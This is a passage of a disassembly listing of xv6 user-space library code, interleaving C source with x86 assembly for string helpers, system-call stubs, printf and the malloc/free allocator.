205: 7c a9 jl 1b0 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
207: 8b 55 f4 mov -0xc(%ebp),%edx
20a: 8b 45 08 mov 0x8(%ebp),%eax
20d: 01 d0 add %edx,%eax
20f: c6 00 00 movb $0x0,(%eax)
return buf;
212: 8b 45 08 mov 0x8(%ebp),%eax
}
215: c9 leave
216: c3 ret
00000217 <stat>:
int
stat(char *n, struct stat *st)
{
217: 55 push %ebp
218: 89 e5 mov %esp,%ebp
21a: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
21d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
224: 00
225: 8b 45 08 mov 0x8(%ebp),%eax
228: 89 04 24 mov %eax,(%esp)
22b: e8 07 01 00 00 call 337 <open>
230: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
233: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
237: 79 07 jns 240 <stat+0x29>
return -1;
239: b8 ff ff ff ff mov $0xffffffff,%eax
23e: eb 23 jmp 263 <stat+0x4c>
r = fstat(fd, st);
240: 8b 45 0c mov 0xc(%ebp),%eax
243: 89 44 24 04 mov %eax,0x4(%esp)
247: 8b 45 f4 mov -0xc(%ebp),%eax
24a: 89 04 24 mov %eax,(%esp)
24d: e8 fd 00 00 00 call 34f <fstat>
252: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
255: 8b 45 f4 mov -0xc(%ebp),%eax
258: 89 04 24 mov %eax,(%esp)
25b: e8 bf 00 00 00 call 31f <close>
return r;
260: 8b 45 f0 mov -0x10(%ebp),%eax
}
263: c9 leave
264: c3 ret
00000265 <atoi>:
int
atoi(const char *s)
{
265: 55 push %ebp
266: 89 e5 mov %esp,%ebp
268: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
26b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
272: eb 25 jmp 299 <atoi+0x34>
n = n*10 + *s++ - '0';
274: 8b 55 fc mov -0x4(%ebp),%edx
277: 89 d0 mov %edx,%eax
279: c1 e0 02 shl $0x2,%eax
27c: 01 d0 add %edx,%eax
27e: 01 c0 add %eax,%eax
280: 89 c1 mov %eax,%ecx
282: 8b 45 08 mov 0x8(%ebp),%eax
285: 8d 50 01 lea 0x1(%eax),%edx
288: 89 55 08 mov %edx,0x8(%ebp)
28b: 0f b6 00 movzbl (%eax),%eax
28e: 0f be c0 movsbl %al,%eax
291: 01 c8 add %ecx,%eax
293: 83 e8 30 sub $0x30,%eax
296: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
299: 8b 45 08 mov 0x8(%ebp),%eax
29c: 0f b6 00 movzbl (%eax),%eax
29f: 3c 2f cmp $0x2f,%al
2a1: 7e 0a jle 2ad <atoi+0x48>
2a3: 8b 45 08 mov 0x8(%ebp),%eax
2a6: 0f b6 00 movzbl (%eax),%eax
2a9: 3c 39 cmp $0x39,%al
2ab: 7e c7 jle 274 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
2ad: 8b 45 fc mov -0x4(%ebp),%eax
}
2b0: c9 leave
2b1: c3 ret
000002b2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2b2: 55 push %ebp
2b3: 89 e5 mov %esp,%ebp
2b5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
2b8: 8b 45 08 mov 0x8(%ebp),%eax
2bb: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
2be: 8b 45 0c mov 0xc(%ebp),%eax
2c1: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
2c4: eb 17 jmp 2dd <memmove+0x2b>
*dst++ = *src++;
2c6: 8b 45 fc mov -0x4(%ebp),%eax
2c9: 8d 50 01 lea 0x1(%eax),%edx
2cc: 89 55 fc mov %edx,-0x4(%ebp)
2cf: 8b 55 f8 mov -0x8(%ebp),%edx
2d2: 8d 4a 01 lea 0x1(%edx),%ecx
2d5: 89 4d f8 mov %ecx,-0x8(%ebp)
2d8: 0f b6 12 movzbl (%edx),%edx
2db: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2dd: 8b 45 10 mov 0x10(%ebp),%eax
2e0: 8d 50 ff lea -0x1(%eax),%edx
2e3: 89 55 10 mov %edx,0x10(%ebp)
2e6: 85 c0 test %eax,%eax
2e8: 7f dc jg 2c6 <memmove+0x14>
*dst++ = *src++;
return vdst;
2ea: 8b 45 08 mov 0x8(%ebp),%eax
}
2ed: c9 leave
2ee: c3 ret
000002ef <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ef: b8 01 00 00 00 mov $0x1,%eax
2f4: cd 40 int $0x40
2f6: c3 ret
000002f7 <exit>:
SYSCALL(exit)
2f7: b8 02 00 00 00 mov $0x2,%eax
2fc: cd 40 int $0x40
2fe: c3 ret
000002ff <wait>:
SYSCALL(wait)
2ff: b8 03 00 00 00 mov $0x3,%eax
304: cd 40 int $0x40
306: c3 ret
00000307 <pipe>:
SYSCALL(pipe)
307: b8 04 00 00 00 mov $0x4,%eax
30c: cd 40 int $0x40
30e: c3 ret
0000030f <read>:
SYSCALL(read)
30f: b8 05 00 00 00 mov $0x5,%eax
314: cd 40 int $0x40
316: c3 ret
00000317 <write>:
SYSCALL(write)
317: b8 10 00 00 00 mov $0x10,%eax
31c: cd 40 int $0x40
31e: c3 ret
0000031f <close>:
SYSCALL(close)
31f: b8 15 00 00 00 mov $0x15,%eax
324: cd 40 int $0x40
326: c3 ret
00000327 <kill>:
SYSCALL(kill)
327: b8 06 00 00 00 mov $0x6,%eax
32c: cd 40 int $0x40
32e: c3 ret
0000032f <exec>:
SYSCALL(exec)
32f: b8 07 00 00 00 mov $0x7,%eax
334: cd 40 int $0x40
336: c3 ret
00000337 <open>:
SYSCALL(open)
337: b8 0f 00 00 00 mov $0xf,%eax
33c: cd 40 int $0x40
33e: c3 ret
0000033f <mknod>:
SYSCALL(mknod)
33f: b8 11 00 00 00 mov $0x11,%eax
344: cd 40 int $0x40
346: c3 ret
00000347 <unlink>:
SYSCALL(unlink)
347: b8 12 00 00 00 mov $0x12,%eax
34c: cd 40 int $0x40
34e: c3 ret
0000034f <fstat>:
SYSCALL(fstat)
34f: b8 08 00 00 00 mov $0x8,%eax
354: cd 40 int $0x40
356: c3 ret
00000357 <link>:
SYSCALL(link)
357: b8 13 00 00 00 mov $0x13,%eax
35c: cd 40 int $0x40
35e: c3 ret
0000035f <mkdir>:
SYSCALL(mkdir)
35f: b8 14 00 00 00 mov $0x14,%eax
364: cd 40 int $0x40
366: c3 ret
00000367 <chdir>:
SYSCALL(chdir)
367: b8 09 00 00 00 mov $0x9,%eax
36c: cd 40 int $0x40
36e: c3 ret
0000036f <dup>:
SYSCALL(dup)
36f: b8 0a 00 00 00 mov $0xa,%eax
374: cd 40 int $0x40
376: c3 ret
00000377 <getpid>:
SYSCALL(getpid)
377: b8 0b 00 00 00 mov $0xb,%eax
37c: cd 40 int $0x40
37e: c3 ret
0000037f <sbrk>:
SYSCALL(sbrk)
37f: b8 0c 00 00 00 mov $0xc,%eax
384: cd 40 int $0x40
386: c3 ret
00000387 <sleep>:
SYSCALL(sleep)
387: b8 0d 00 00 00 mov $0xd,%eax
38c: cd 40 int $0x40
38e: c3 ret
0000038f <uptime>:
SYSCALL(uptime)
38f: b8 0e 00 00 00 mov $0xe,%eax
394: cd 40 int $0x40
396: c3 ret
00000397 <date>:
SYSCALL(date)
397: b8 16 00 00 00 mov $0x16,%eax
39c: cd 40 int $0x40
39e: c3 ret
0000039f <timem>:
SYSCALL(timem)
39f: b8 17 00 00 00 mov $0x17,%eax
3a4: cd 40 int $0x40
3a6: c3 ret
000003a7 <getuid>:
SYSCALL(getuid)
3a7: b8 18 00 00 00 mov $0x18,%eax
3ac: cd 40 int $0x40
3ae: c3 ret
000003af <getgid>:
SYSCALL(getgid)
3af: b8 19 00 00 00 mov $0x19,%eax
3b4: cd 40 int $0x40
3b6: c3 ret
000003b7 <getppid>:
SYSCALL(getppid)
3b7: b8 1a 00 00 00 mov $0x1a,%eax
3bc: cd 40 int $0x40
3be: c3 ret
000003bf <setuid>:
SYSCALL(setuid)
3bf: b8 1b 00 00 00 mov $0x1b,%eax
3c4: cd 40 int $0x40
3c6: c3 ret
000003c7 <setgid>:
SYSCALL(setgid)
3c7: b8 1c 00 00 00 mov $0x1c,%eax
3cc: cd 40 int $0x40
3ce: c3 ret
000003cf <getprocs>:
SYSCALL(getprocs)
3cf: b8 1d 00 00 00 mov $0x1d,%eax
3d4: cd 40 int $0x40
3d6: c3 ret
000003d7 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3d7: 55 push %ebp
3d8: 89 e5 mov %esp,%ebp
3da: 83 ec 18 sub $0x18,%esp
3dd: 8b 45 0c mov 0xc(%ebp),%eax
3e0: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3e3: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3ea: 00
3eb: 8d 45 f4 lea -0xc(%ebp),%eax
3ee: 89 44 24 04 mov %eax,0x4(%esp)
3f2: 8b 45 08 mov 0x8(%ebp),%eax
3f5: 89 04 24 mov %eax,(%esp)
3f8: e8 1a ff ff ff call 317 <write>
}
3fd: c9 leave
3fe: c3 ret
000003ff <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3ff: 55 push %ebp
400: 89 e5 mov %esp,%ebp
402: 56 push %esi
403: 53 push %ebx
404: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
407: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
40e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
412: 74 17 je 42b <printint+0x2c>
414: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
418: 79 11 jns 42b <printint+0x2c>
neg = 1;
41a: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
421: 8b 45 0c mov 0xc(%ebp),%eax
424: f7 d8 neg %eax
426: 89 45 ec mov %eax,-0x14(%ebp)
429: eb 06 jmp 431 <printint+0x32>
} else {
x = xx;
42b: 8b 45 0c mov 0xc(%ebp),%eax
42e: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
431: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
438: 8b 4d f4 mov -0xc(%ebp),%ecx
43b: 8d 41 01 lea 0x1(%ecx),%eax
43e: 89 45 f4 mov %eax,-0xc(%ebp)
441: 8b 5d 10 mov 0x10(%ebp),%ebx
444: 8b 45 ec mov -0x14(%ebp),%eax
447: ba 00 00 00 00 mov $0x0,%edx
44c: f7 f3 div %ebx
44e: 89 d0 mov %edx,%eax
450: 0f b6 80 04 0b 00 00 movzbl 0xb04(%eax),%eax
457: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
45b: 8b 75 10 mov 0x10(%ebp),%esi
45e: 8b 45 ec mov -0x14(%ebp),%eax
461: ba 00 00 00 00 mov $0x0,%edx
466: f7 f6 div %esi
468: 89 45 ec mov %eax,-0x14(%ebp)
46b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
46f: 75 c7 jne 438 <printint+0x39>
if(neg)
471: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
475: 74 10 je 487 <printint+0x88>
buf[i++] = '-';
477: 8b 45 f4 mov -0xc(%ebp),%eax
47a: 8d 50 01 lea 0x1(%eax),%edx
47d: 89 55 f4 mov %edx,-0xc(%ebp)
480: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
485: eb 1f jmp 4a6 <printint+0xa7>
487: eb 1d jmp 4a6 <printint+0xa7>
putc(fd, buf[i]);
489: 8d 55 dc lea -0x24(%ebp),%edx
48c: 8b 45 f4 mov -0xc(%ebp),%eax
48f: 01 d0 add %edx,%eax
491: 0f b6 00 movzbl (%eax),%eax
494: 0f be c0 movsbl %al,%eax
497: 89 44 24 04 mov %eax,0x4(%esp)
49b: 8b 45 08 mov 0x8(%ebp),%eax
49e: 89 04 24 mov %eax,(%esp)
4a1: e8 31 ff ff ff call 3d7 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4a6: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4aa: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4ae: 79 d9 jns 489 <printint+0x8a>
putc(fd, buf[i]);
}
4b0: 83 c4 30 add $0x30,%esp
4b3: 5b pop %ebx
4b4: 5e pop %esi
4b5: 5d pop %ebp
4b6: c3 ret
000004b7 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4b7: 55 push %ebp
4b8: 89 e5 mov %esp,%ebp
4ba: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4bd: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4c4: 8d 45 0c lea 0xc(%ebp),%eax
4c7: 83 c0 04 add $0x4,%eax
4ca: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4cd: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4d4: e9 7c 01 00 00 jmp 655 <printf+0x19e>
c = fmt[i] & 0xff;
4d9: 8b 55 0c mov 0xc(%ebp),%edx
4dc: 8b 45 f0 mov -0x10(%ebp),%eax
4df: 01 d0 add %edx,%eax
4e1: 0f b6 00 movzbl (%eax),%eax
4e4: 0f be c0 movsbl %al,%eax
4e7: 25 ff 00 00 00 and $0xff,%eax
4ec: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4ef: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4f3: 75 2c jne 521 <printf+0x6a>
if(c == '%'){
4f5: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4f9: 75 0c jne 507 <printf+0x50>
state = '%';
4fb: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
502: e9 4a 01 00 00 jmp 651 <printf+0x19a>
} else {
putc(fd, c);
507: 8b 45 e4 mov -0x1c(%ebp),%eax
50a: 0f be c0 movsbl %al,%eax
50d: 89 44 24 04 mov %eax,0x4(%esp)
511: 8b 45 08 mov 0x8(%ebp),%eax
514: 89 04 24 mov %eax,(%esp)
517: e8 bb fe ff ff call 3d7 <putc>
51c: e9 30 01 00 00 jmp 651 <printf+0x19a>
}
} else if(state == '%'){
521: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
525: 0f 85 26 01 00 00 jne 651 <printf+0x19a>
if(c == 'd'){
52b: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
52f: 75 2d jne 55e <printf+0xa7>
printint(fd, *ap, 10, 1);
531: 8b 45 e8 mov -0x18(%ebp),%eax
534: 8b 00 mov (%eax),%eax
536: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
53d: 00
53e: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
545: 00
546: 89 44 24 04 mov %eax,0x4(%esp)
54a: 8b 45 08 mov 0x8(%ebp),%eax
54d: 89 04 24 mov %eax,(%esp)
550: e8 aa fe ff ff call 3ff <printint>
ap++;
555: 83 45 e8 04 addl $0x4,-0x18(%ebp)
559: e9 ec 00 00 00 jmp 64a <printf+0x193>
} else if(c == 'x' || c == 'p'){
55e: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
562: 74 06 je 56a <printf+0xb3>
564: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
568: 75 2d jne 597 <printf+0xe0>
printint(fd, *ap, 16, 0);
56a: 8b 45 e8 mov -0x18(%ebp),%eax
56d: 8b 00 mov (%eax),%eax
56f: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
576: 00
577: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
57e: 00
57f: 89 44 24 04 mov %eax,0x4(%esp)
583: 8b 45 08 mov 0x8(%ebp),%eax
586: 89 04 24 mov %eax,(%esp)
589: e8 71 fe ff ff call 3ff <printint>
ap++;
58e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
592: e9 b3 00 00 00 jmp 64a <printf+0x193>
} else if(c == 's'){
597: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
59b: 75 45 jne 5e2 <printf+0x12b>
s = (char*)*ap;
59d: 8b 45 e8 mov -0x18(%ebp),%eax
5a0: 8b 00 mov (%eax),%eax
5a2: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
5a5: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
5a9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5ad: 75 09 jne 5b8 <printf+0x101>
s = "(null)";
5af: c7 45 f4 b6 08 00 00 movl $0x8b6,-0xc(%ebp)
while(*s != 0){
5b6: eb 1e jmp 5d6 <printf+0x11f>
5b8: eb 1c jmp 5d6 <printf+0x11f>
putc(fd, *s);
5ba: 8b 45 f4 mov -0xc(%ebp),%eax
5bd: 0f b6 00 movzbl (%eax),%eax
5c0: 0f be c0 movsbl %al,%eax
5c3: 89 44 24 04 mov %eax,0x4(%esp)
5c7: 8b 45 08 mov 0x8(%ebp),%eax
5ca: 89 04 24 mov %eax,(%esp)
5cd: e8 05 fe ff ff call 3d7 <putc>
s++;
5d2: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5d6: 8b 45 f4 mov -0xc(%ebp),%eax
5d9: 0f b6 00 movzbl (%eax),%eax
5dc: 84 c0 test %al,%al
5de: 75 da jne 5ba <printf+0x103>
5e0: eb 68 jmp 64a <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5e2: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5e6: 75 1d jne 605 <printf+0x14e>
putc(fd, *ap);
5e8: 8b 45 e8 mov -0x18(%ebp),%eax
5eb: 8b 00 mov (%eax),%eax
5ed: 0f be c0 movsbl %al,%eax
5f0: 89 44 24 04 mov %eax,0x4(%esp)
5f4: 8b 45 08 mov 0x8(%ebp),%eax
5f7: 89 04 24 mov %eax,(%esp)
5fa: e8 d8 fd ff ff call 3d7 <putc>
ap++;
5ff: 83 45 e8 04 addl $0x4,-0x18(%ebp)
603: eb 45 jmp 64a <printf+0x193>
} else if(c == '%'){
605: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
609: 75 17 jne 622 <printf+0x16b>
putc(fd, c);
60b: 8b 45 e4 mov -0x1c(%ebp),%eax
60e: 0f be c0 movsbl %al,%eax
611: 89 44 24 04 mov %eax,0x4(%esp)
615: 8b 45 08 mov 0x8(%ebp),%eax
618: 89 04 24 mov %eax,(%esp)
61b: e8 b7 fd ff ff call 3d7 <putc>
620: eb 28 jmp 64a <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
622: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
629: 00
62a: 8b 45 08 mov 0x8(%ebp),%eax
62d: 89 04 24 mov %eax,(%esp)
630: e8 a2 fd ff ff call 3d7 <putc>
putc(fd, c);
635: 8b 45 e4 mov -0x1c(%ebp),%eax
638: 0f be c0 movsbl %al,%eax
63b: 89 44 24 04 mov %eax,0x4(%esp)
63f: 8b 45 08 mov 0x8(%ebp),%eax
642: 89 04 24 mov %eax,(%esp)
645: e8 8d fd ff ff call 3d7 <putc>
}
state = 0;
64a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
651: 83 45 f0 01 addl $0x1,-0x10(%ebp)
655: 8b 55 0c mov 0xc(%ebp),%edx
658: 8b 45 f0 mov -0x10(%ebp),%eax
65b: 01 d0 add %edx,%eax
65d: 0f b6 00 movzbl (%eax),%eax
660: 84 c0 test %al,%al
662: 0f 85 71 fe ff ff jne 4d9 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
668: c9 leave
669: c3 ret
0000066a <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
66a: 55 push %ebp
66b: 89 e5 mov %esp,%ebp
66d: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
670: 8b 45 08 mov 0x8(%ebp),%eax
673: 83 e8 08 sub $0x8,%eax
676: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
679: a1 20 0b 00 00 mov 0xb20,%eax
67e: 89 45 fc mov %eax,-0x4(%ebp)
681: eb 24 jmp 6a7 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
683: 8b 45 fc mov -0x4(%ebp),%eax
686: 8b 00 mov (%eax),%eax
688: 3b 45 fc cmp -0x4(%ebp),%eax
68b: 77 12 ja 69f <free+0x35>
68d: 8b 45 f8 mov -0x8(%ebp),%eax
690: 3b 45 fc cmp -0x4(%ebp),%eax
693: 77 24 ja 6b9 <free+0x4f>
695: 8b 45 fc mov -0x4(%ebp),%eax
698: 8b 00 mov (%eax),%eax
69a: 3b 45 f8 cmp -0x8(%ebp),%eax
69d: 77 1a ja 6b9 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
69f: 8b 45 fc mov -0x4(%ebp),%eax
6a2: 8b 00 mov (%eax),%eax
6a4: 89 45 fc mov %eax,-0x4(%ebp)
6a7: 8b 45 f8 mov -0x8(%ebp),%eax
6aa: 3b 45 fc cmp -0x4(%ebp),%eax
6ad: 76 d4 jbe 683 <free+0x19>
6af: 8b 45 fc mov -0x4(%ebp),%eax
6b2: 8b 00 mov (%eax),%eax
6b4: 3b 45 f8 cmp -0x8(%ebp),%eax
6b7: 76 ca jbe 683 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
6b9: 8b 45 f8 mov -0x8(%ebp),%eax
6bc: 8b 40 04 mov 0x4(%eax),%eax
6bf: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6c6: 8b 45 f8 mov -0x8(%ebp),%eax
6c9: 01 c2 add %eax,%edx
6cb: 8b 45 fc mov -0x4(%ebp),%eax
6ce: 8b 00 mov (%eax),%eax
6d0: 39 c2 cmp %eax,%edx
6d2: 75 24 jne 6f8 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6d4: 8b 45 f8 mov -0x8(%ebp),%eax
6d7: 8b 50 04 mov 0x4(%eax),%edx
6da: 8b 45 fc mov -0x4(%ebp),%eax
6dd: 8b 00 mov (%eax),%eax
6df: 8b 40 04 mov 0x4(%eax),%eax
6e2: 01 c2 add %eax,%edx
6e4: 8b 45 f8 mov -0x8(%ebp),%eax
6e7: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6ea: 8b 45 fc mov -0x4(%ebp),%eax
6ed: 8b 00 mov (%eax),%eax
6ef: 8b 10 mov (%eax),%edx
6f1: 8b 45 f8 mov -0x8(%ebp),%eax
6f4: 89 10 mov %edx,(%eax)
6f6: eb 0a jmp 702 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
6f8: 8b 45 fc mov -0x4(%ebp),%eax
6fb: 8b 10 mov (%eax),%edx
6fd: 8b 45 f8 mov -0x8(%ebp),%eax
700: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
702: 8b 45 fc mov -0x4(%ebp),%eax
705: 8b 40 04 mov 0x4(%eax),%eax
708: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
70f: 8b 45 fc mov -0x4(%ebp),%eax
712: 01 d0 add %edx,%eax
714: 3b 45 f8 cmp -0x8(%ebp),%eax
717: 75 20 jne 739 <free+0xcf>
p->s.size += bp->s.size;
719: 8b 45 fc mov -0x4(%ebp),%eax
71c: 8b 50 04 mov 0x4(%eax),%edx
71f: 8b 45 f8 mov -0x8(%ebp),%eax
722: 8b 40 04 mov 0x4(%eax),%eax
725: 01 c2 add %eax,%edx
727: 8b 45 fc mov -0x4(%ebp),%eax
72a: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
72d: 8b 45 f8 mov -0x8(%ebp),%eax
730: 8b 10 mov (%eax),%edx
732: 8b 45 fc mov -0x4(%ebp),%eax
735: 89 10 mov %edx,(%eax)
737: eb 08 jmp 741 <free+0xd7>
} else
p->s.ptr = bp;
739: 8b 45 fc mov -0x4(%ebp),%eax
73c: 8b 55 f8 mov -0x8(%ebp),%edx
73f: 89 10 mov %edx,(%eax)
freep = p;
741: 8b 45 fc mov -0x4(%ebp),%eax
744: a3 20 0b 00 00 mov %eax,0xb20
}
749: c9 leave
74a: c3 ret
0000074b <morecore>:
static Header*
morecore(uint nu)
{
74b: 55 push %ebp
74c: 89 e5 mov %esp,%ebp
74e: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
751: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
758: 77 07 ja 761 <morecore+0x16>
nu = 4096;
75a: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
761: 8b 45 08 mov 0x8(%ebp),%eax
764: c1 e0 03 shl $0x3,%eax
767: 89 04 24 mov %eax,(%esp)
76a: e8 10 fc ff ff call 37f <sbrk>
76f: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
772: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
776: 75 07 jne 77f <morecore+0x34>
return 0;
778: b8 00 00 00 00 mov $0x0,%eax
77d: eb 22 jmp 7a1 <morecore+0x56>
hp = (Header*)p;
77f: 8b 45 f4 mov -0xc(%ebp),%eax
782: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
785: 8b 45 f0 mov -0x10(%ebp),%eax
788: 8b 55 08 mov 0x8(%ebp),%edx
78b: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
78e: 8b 45 f0 mov -0x10(%ebp),%eax
791: 83 c0 08 add $0x8,%eax
794: 89 04 24 mov %eax,(%esp)
797: e8 ce fe ff ff call 66a <free>
return freep;
79c: a1 20 0b 00 00 mov 0xb20,%eax
}
7a1: c9 leave
7a2: c3 ret
000007a3 <malloc>:
void*
malloc(uint nbytes)
{
7a3: 55 push %ebp
7a4: 89 e5 mov %esp,%ebp
7a6: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7a9: 8b 45 08 mov 0x8(%ebp),%eax
7ac: 83 c0 07 add $0x7,%eax
7af: c1 e8 03 shr $0x3,%eax
7b2: 83 c0 01 add $0x1,%eax
7b5: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
7b8: a1 20 0b 00 00 mov 0xb20,%eax
7bd: 89 45 f0 mov %eax,-0x10(%ebp)
7c0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7c4: 75 23 jne 7e9 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7c6: c7 45 f0 18 0b 00 00 movl $0xb18,-0x10(%ebp)
7cd: 8b 45 f0 mov -0x10(%ebp),%eax
7d0: a3 20 0b 00 00 mov %eax,0xb20
7d5: a1 20 0b 00 00 mov 0xb20,%eax
7da: a3 18 0b 00 00 mov %eax,0xb18
base.s.size = 0;
7df: c7 05 1c 0b 00 00 00 movl $0x0,0xb1c
7e6: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7e9: 8b 45 f0 mov -0x10(%ebp),%eax
7ec: 8b 00 mov (%eax),%eax
7ee: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
7f1: 8b 45 f4 mov -0xc(%ebp),%eax
7f4: 8b 40 04 mov 0x4(%eax),%eax
7f7: 3b 45 ec cmp -0x14(%ebp),%eax
7fa: 72 4d jb 849 <malloc+0xa6>
if(p->s.size == nunits)
7fc: 8b 45 f4 mov -0xc(%ebp),%eax
7ff: 8b 40 04 mov 0x4(%eax),%eax
802: 3b 45 ec cmp -0x14(%ebp),%eax
805: 75 0c jne 813 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
807: 8b 45 f4 mov -0xc(%ebp),%eax
80a: 8b 10 mov (%eax),%edx
80c: 8b 45 f0 mov -0x10(%ebp),%eax
80f: 89 10 mov %edx,(%eax)
811: eb 26 jmp 839 <malloc+0x96>
else {
p->s.size -= nunits;
813: 8b 45 f4 mov -0xc(%ebp),%eax
816: 8b 40 04 mov 0x4(%eax),%eax
819: 2b 45 ec sub -0x14(%ebp),%eax
81c: 89 c2 mov %eax,%edx
81e: 8b 45 f4 mov -0xc(%ebp),%eax
821: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
824: 8b 45 f4 mov -0xc(%ebp),%eax
827: 8b 40 04 mov 0x4(%eax),%eax
82a: c1 e0 03 shl $0x3,%eax
82d: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
830: 8b 45 f4 mov -0xc(%ebp),%eax
